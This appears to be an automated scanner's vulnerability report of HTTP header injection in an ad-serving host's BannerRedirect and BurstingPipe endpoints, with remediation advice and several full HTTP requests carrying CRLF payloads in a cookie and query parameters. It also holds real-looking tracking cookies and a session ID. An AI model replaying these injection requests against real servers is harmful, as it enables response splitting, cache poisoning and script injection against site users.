HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload fb682%0d%0aeb8d44f6d4b was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BannerRedirect.asp HTTP/1.1 Host: bs.serving-sys.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: U=ae1f471a-36f2-482f-a2a3-bdda364895283FG070; A2=; eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=0fb682%0d%0aeb8d44f6d4b; F1=00UilH0003sY9QVZ; B2=; u2=ae1f471a-36f2-482f-a2a3-bdda364895283FG070; E2=0aPa820ws3084ow80ws509KD820wrZ08.I820wrF08Y5g410s3066N820wrV02Edo41wsd06Bz820wrm0aVX820wsd07l0820wrU077Tg20wr+03sYg410sd0abMm5xos507fto20ws50a4cg410rM02WGSdzosb06IXPy9Ksd09EZ820ws303Mo820wrG04gILHW+s60apK820wrU0bKd820ws504uwg210rm07SK820wrM0bnAwy8ys505sM820wsc09bwg210s909KL820wrB; C3=; u3=1; ActivityInfo=0008uqbh0%5f000g3dbdR%5f; D3=;
The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload 671ca%0d%0a4758775fddb was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BannerSource.asp HTTP/1.1 Host: bs.serving-sys.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: U=ae1f471a-36f2-482f-a2a3-bdda364895283FG070; A2=; eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=0671ca%0d%0a4758775fddb; F1=00UilH0003sY9QVZ; B2=; u2=ae1f471a-36f2-482f-a2a3-bdda364895283FG070; E2=0aPa820ws3084ow80ws509KD820wrZ08.I820wrF08Y5g410s3066N820wrV02Edo41wsd06Bz820wrm0aVX820wsd07l0820wrU077Tg20wr+03sYg410sd0abMm5xos507fto20ws50a4cg410rM02WGSdzosb06IXPy9Ksd09EZ820ws303Mo820wrG04gILHW+s60apK820wrU0bKd820ws504uwg210rm07SK820wrM0bnAwy8ys505sM820wsc09bwg210s909KL820wrB; C3=; u3=1; ActivityInfo=0008uqbh0%5f000g3dbdR%5f; D3=;
The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload f3d26%0d%0a75b00643908 was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BurstingInteractionsPipe.asp HTTP/1.1 Host: bs.serving-sys.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: U=ae1f471a-36f2-482f-a2a3-bdda364895283FG070; A2=; eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=0f3d26%0d%0a75b00643908; F1=00UilH0003sY9QVZ; B2=; u2=ae1f471a-36f2-482f-a2a3-bdda364895283FG070; E2=0aPa820ws3084ow80ws509KD820wrZ08.I820wrF08Y5g410s3066N820wrV02Edo41wsd06Bz820wrm0aVX820wsd07l0820wrU077Tg20wr+03sYg410sd0abMm5xos507fto20ws50a4cg410rM02WGSdzosb06IXPy9Ksd09EZ820ws303Mo820wrG04gILHW+s60apK820wrU0bKd820ws504uwg210rm07SK820wrM0bnAwy8ys505sM820wsc09bwg210s909KL820wrB; C3=; u3=1; ActivityInfo=0008uqbh0%5f000g3dbdR%5f; D3=;
The value of the flv request parameter is copied into the Set-Cookie response header. The payload 5ab67%0d%0a00ff500b54 was submitted in the flv parameter. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BurstingInteractionsPipe.asp?interactionsStr=4069024%7E%7E0%5EebAdDuration%7E899%7E0%7E1%7E0%7E2%7E0%7E0%5EebAboveTheFoldDuration%7E899%7E0%7E1%7E0%7E2%7E0%7E0%5EebVideoPlayDuration%7E18%7E0%7E1%7E0%7E1%7E0%7E0%5EebVideoAssetDuration%7E18%7E0%7E1%7E0%7E1%7E11117176%7E0%5EebVideoFullPlay%7E0%7E0%7E1%7E0%7E1%7E11117176%7E0&OptOut=0&ebRandom=0.7502016185317189&flv=5ab67%0d%0a00ff500b54&wmpv=0&res=128 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://www.informationweek.com/blog/main/archives/global_cio/index.html;jsessionid=BD1RLVNFL22WZQE1GHPSKH4ATMY32JVN?subSection=global_cio Origin: http://www.informationweek.com Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the res request parameter is copied into the Set-Cookie response header. The payload 8e592%0d%0a9007e5dc7c was submitted in the res parameter. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BurstingInteractionsPipe.asp?interactionsStr=4069024%7E%7E0%5EebAdDuration%7E899%7E0%7E1%7E0%7E2%7E0%7E0%5EebAboveTheFoldDuration%7E899%7E0%7E1%7E0%7E2%7E0%7E0%5EebVideoPlayDuration%7E18%7E0%7E1%7E0%7E1%7E0%7E0%5EebVideoAssetDuration%7E18%7E0%7E1%7E0%7E1%7E11117176%7E0%5EebVideoFullPlay%7E0%7E0%7E1%7E0%7E1%7E11117176%7E0&OptOut=0&ebRandom=0.7502016185317189&flv=10.1103&wmpv=0&res=8e592%0d%0a9007e5dc7c HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://www.informationweek.com/blog/main/archives/global_cio/index.html;jsessionid=BD1RLVNFL22WZQE1GHPSKH4ATMY32JVN?subSection=global_cio Origin: http://www.informationweek.com Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the wmpv request parameter is copied into the Set-Cookie response header. The payload 1cada%0d%0a5d5c234479e was submitted in the wmpv parameter. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BurstingInteractionsPipe.asp?interactionsStr=4069024%7E%7E0%5EebAdDuration%7E899%7E0%7E1%7E0%7E2%7E0%7E0%5EebAboveTheFoldDuration%7E899%7E0%7E1%7E0%7E2%7E0%7E0%5EebVideoPlayDuration%7E18%7E0%7E1%7E0%7E1%7E0%7E0%5EebVideoAssetDuration%7E18%7E0%7E1%7E0%7E1%7E11117176%7E0%5EebVideoFullPlay%7E0%7E0%7E1%7E0%7E1%7E11117176%7E0&OptOut=0&ebRandom=0.7502016185317189&flv=10.1103&wmpv=1cada%0d%0a5d5c234479e&res=128 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://www.informationweek.com/blog/main/archives/global_cio/index.html;jsessionid=BD1RLVNFL22WZQE1GHPSKH4ATMY32JVN?subSection=global_cio Origin: http://www.informationweek.com Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload bf34f%0d%0aa00cfe1a23b was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.